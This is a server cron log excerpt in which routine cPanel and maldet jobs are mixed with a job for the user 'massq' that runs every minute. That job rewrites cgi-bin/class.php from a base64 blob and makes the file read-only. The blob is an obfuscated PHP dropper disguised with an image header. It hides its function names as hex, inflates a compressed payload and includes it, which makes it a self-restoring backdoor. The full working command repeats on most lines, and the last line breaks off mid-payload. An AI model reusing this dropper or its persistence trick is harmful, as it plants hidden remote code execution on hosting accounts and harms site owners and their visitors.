Apr 12 14:10:01 server CROND[8090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:10:01 server CROND[8089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 14:11:02 server CROND[8340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:12:01 server CROND[8394]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 14:12:01 server CROND[8395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:13:01 server CROND[8440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:14:01 server CROND[8537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:15:01 server CROND[8594]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 14:15:01 server CROND[8595]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:15:01 server CROND[8597]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:15:01 server CROND[8596]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:16:01 server CROND[8698]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:17:01 server CROND[8846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:18:01 server CROND[8885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:19:01 server CROND[8929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:20:01 server CROND[8984]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 14:20:01 server CROND[8985]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 14:20:01 server CROND[8986]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 14:20:01 server CROND[8988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:20:01 server CROND[8987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 14:21:01 server CROND[9113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:22:01 server CROND[9255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 14:23:01 server CROND[9304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQ